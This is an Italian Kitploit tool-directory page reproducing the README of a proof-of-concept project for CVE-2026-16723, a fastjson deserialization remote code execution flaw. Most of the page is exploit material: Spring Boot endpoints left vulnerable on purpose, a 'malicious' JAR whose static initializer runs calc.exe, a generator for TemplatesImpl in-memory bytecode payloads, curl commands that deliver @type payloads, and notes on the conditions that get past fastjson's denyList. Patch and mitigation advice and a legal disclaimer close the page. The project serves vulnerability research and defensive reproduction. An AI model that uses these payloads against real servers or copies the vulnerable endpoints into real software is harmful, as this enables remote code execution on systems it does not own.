Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
fastjson-cve — Progetto di riproduzione per CVE-2026-16723, una RCE critica in fastjson 1.2.68-1.2.83. Dimostra il bypass di AutoType, l'iniezione JNDI e i payload in memoria TemplatesImpl con endpoint Spring Boot vulnerabili. | Kitploit
Strumenti/GitHubGitHub/ipisav/fastjson-cve
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e Formazione
GitHubipisav/fastjson-cve

fastjson-cve

Progetto di riproduzione per CVE-2026-16723, una RCE critica in fastjson 1.2.68-1.2.83. Dimostra il bypass di AutoType, l'iniezione JNDI e i payload in memoria TemplatesImpl con endpoint Spring Boot vulnerabili.

Vedi Repository
10h 55m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Progetto di Riproduzione CVE-2026-16723

Panoramica

Questo progetto riproduce CVE-2026-16723 — una vulnerabilità critica di Remote Code Execution (RCE) in fastjson 1.2.68 fino a 1.2.83. La vulnerabilità consente RCE con configurazione predefinita senza richiedere l'abilitazione di AutoType o gadget preesistenti nel classpath.

ProprietàValore
ID CVECVE-2026-16723
Componentefastjson
Versioni Affette1.2.68 – 1.2.83
Versioni Corrette1.2.84+, 2.0.0+
Tipo di VulnerabilitàDeserializzazione / RCE
GravitàCVSS 3.1: 9.0 (CRITICA)
Vettore di AttaccoRete
ComplessitàBassa
Privilegi RichiestiNessuno
Interazione UtenteNessuna

Struttura del Progetto

root@kitploit:~
fastjson-cve-2026-16723/
├── pom.xml                              # Progetto principale (app Spring Boot con fastjson vulnerabile)
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # Punto di ingresso Spring Boot
│   └── controller/
│       └── VulnerableController.java    # Endpoint REST vulnerabili
├── malicious/                           # Modulo separato: JAR malevolo per simulazione supply chain
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # Classe malevola con inizializzatore statico
│       ├── EvilTranslet.java            # Translet malevolo per modalità in-memory TemplatesImpl
│       └── GenTemplatesPayload.java     # Genera il payload JSON TemplatesImpl
├── templates-payload.json               # Payload TemplatesImpl generato (variante diretta)
├── templates-payload-preload.json       # Payload TemplatesImpl generato (variante preload di classe)
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

Dettagli della Vulnerabilità

Causa Principale

fastjson 1.2.68–1.2.83 contiene un bypass nel meccanismo di protezione AutoType. Anche con configurazione predefinita (autoTypeSupport=false), gli attaccanti possono istanziare classi arbitrarie tramite payload JSON appositamente costruiti utilizzando catene di exploit come:

  1. java.lang.Class + com.sun.rowset.JdbcRowSetImpl (iniezione JNDI)
  2. java.lang.Runtime (esecuzione diretta di comandi)
  3. Attacco supply chain tramite JAR malevolo nel classpath (@type: exploit.MaliciousClass)

Codice Vulnerabile

VulnerableController.java — due endpoint dimostrano il problema:

root@kitploit:~
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // Vulnerabile: JSON.parseObject con configurazione predefinita
    // Non è richiesto ParserConfig.getGlobalInstance().setAutoTypeSupport(true)!
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // Forza la deserializzazione in Object — attiva l'istanziazione effettiva della classe
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

Compilazione del Progetto

Prerequisiti

  • Java 8+
  • Maven 3.6+

Comandi di Compilazione

root@kitploit:~
# Compila l'applicazione principale
mvn clean package -DskipTests

# Compila il JAR malevolo (modulo separato)
cd malicious && mvn clean package && cd ..

Artefatti di Output

  • target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR fat Spring Boot
  • malicious/target/malicious-jar-1.0.jar — JAR malevolo con exploit.MaliciousClass

Esecuzione dell'Applicazione

root@kitploit:~
java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Il server si avvia su http://localhost:8080

Requisito di runtime: questo progetto è destinato a Java 8 e la modalità in-memory TemplatesImpl è verificata su JDK 8. Su JDK 9+ il sistema di moduli blocca l'accesso riflessivo agli internals di java.xml, quindi la catena fallisce con Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl a meno che non si aggiungano i flag --add-opens:

root@kitploit:~
java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
     -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Verifica che il Classpath Includa il JAR Malevolo

Il pom.xml principale dichiara il JAR malevolo come dipendenza, quindi è incluso nel JAR fat:

root@kitploit:~
<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

Verifica a runtime:

root@kitploit:~
curl http://localhost:8080/api/debug

Test della Vulnerabilità

Health Check

root@kitploit:~
curl http://localhost:8080/api/test

Previsto: CVE-2026-16723 Reproduction Endpoint Ready...


Attacco Supply Chain (Classe Malevola nel Classpath)

Il modulo malicious fornisce exploit.MaliciousClass con un inizializzatore statico che esegue calc.exe al caricamento della classe.

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

Risultato:

root@kitploit:~
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

E calc.exe viene avviato sul server.

Nota: Questo dimostra uno scenario di supply chain in cui una dipendenza malevola è presente nel classpath. La vulnerabilità consente l'istanziazione di qualsiasi classe nel classpath, non solo classi JDK.


Modalità Bytecode In-Memory (TemplatesImpl, nessun server esterno richiesto)

A differenza della modalità supply chain (che richiede la classe malevola nel classpath) e della modalità JNDI (che richiede un server LDAP/RMI), questa modalità incorpora il bytecode malevolo direttamente nel payload e lo carica dalla memoria tramite com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — non è necessario distribuire nulla di extra.

Passo 1 — genera il payload:

root@kitploit:~
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

Questo compila exploit.EvilTranslet (una sottoclasse di AbstractTranslet il cui inizializzatore statico esegue calc.exe), codifica in base64 i byte della sua .class, e scrive:

  • templates-payload.json — variante diretta ("@type": "TemplatesImpl")
  • templates-payload-preload.json — variante preload java.lang.Class

Passo 2 — invia il payload:

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json

Risultato:

root@kitploit:~
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<

E calc.exe viene avviato sul server.

⚠️ Riscontri empirici (verificati su fastjson 1.2.83): la catena TemplatesImpl non è attivabile con pura configurazione predefinita:

  • Il payload diretto @type viene rifiutato dalla denyList di AutoType (autoType is not support).
  • La catena di preload java.lang.Class fallisce per due motivi: java.lang.Class stesso è nella denyList (autoType is not support. java.lang.Class), e anche il preload di TemplatesImpl nelle mappature interne delle classi non bypassa la denyList — il bypass di mappatura dell'era 1.2.47 è corretto nella 1.2.83.
  • Anche autoTypeSupport(true) da solo non basta: la denyList ha priorità sul flag autoType.
  • La catena si attiva solo quando la classe è nella whitelist tramite ParserConfig.addAccept(...) (la acceptList ha priorità sulla denyList) e Feature.SupportNonPublicField è abilitato (i campi _bytecodes/_name/_tfactory di TemplatesImpl sono privati).
  • L'endpoint /api/deserialize-autotype implementa esattamente questa combinazione.
  • Runtime: la catena è verificata su JDK 8. Su JDK 9+ il sistema di moduli blocca l'accesso riflessivo agli internals di java.xml, quindi la creazione dell'istanza fallisce con Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl a meno che non vengano usati i flag JVM in Esecuzione dell'Applicazione.

EndpointComportamento
POST /api/parseAnalizza in JSONObject — potrebbe non attivare la deserializzazione completa per tutti i payload
POST /api/deserializeAnalizza in Object — forza la deserializzazione completa e l'istanziazione della classe (configurazione predefinita)
POST /api/deserialize-nonpublicJSON.parse + Feature.SupportNonPublicField — scrive campi privati, ma la denyList blocca comunque TemplatesImpl
POST /api/deserialize-autotypeAutoType + addAccept + SupportNonPublicField — attiva la catena in-memory TemplatesImpl

Per l'exploit della classe malevola, /api/deserialize è richiesto per attivare l'inizializzatore statico.


Versioni Corrette

Aggiorna fastjson a una versione patchata:

root@kitploit:~
<!-- Opzione 1: fastjson 1.x (consigliata per utenti 1.x) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.84</version>
</dependency>

<!-- Opzione 2: fastjson 2.x (consigliata per nuovi progetti) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.0</version>
</dependency>

Mitigazione (se l'aggiornamento non è immediatamente possibile)

root@kitploit:~
// Disabilita AutoType globalmente (mitigazione parziale — le catene di exploit potrebbero comunque bypassare)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// Oppure usa safeMode (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);

Riferimenti

  • NVD CVE-2026-16723
  • Alibaba fastjson2 Security Advisory
  • Repository GitHub di fastjson

⚠️ Disclaimer Legale

Questo progetto è destinato esclusivamente a scopi di ricerca educativa e di sicurezza difensiva.

  • Non utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta a testare.
  • L'autore non è responsabile di qualsiasi uso improprio, danno o conseguenza legale derivante dall'uso di questo codice.
  • Segui sempre le pratiche di divulgazione responsabile quando scopri vulnerabilità.
  • Questa riproduzione utilizza un payload benigno (calc.exe) per dimostrazione; gli exploit reali possono causare danni gravi.

Licenza

Questo progetto è fornito così com'è per la ricerca sulla sicurezza. Nessuna garanzia espressa o implicita.

Scarica lo strumento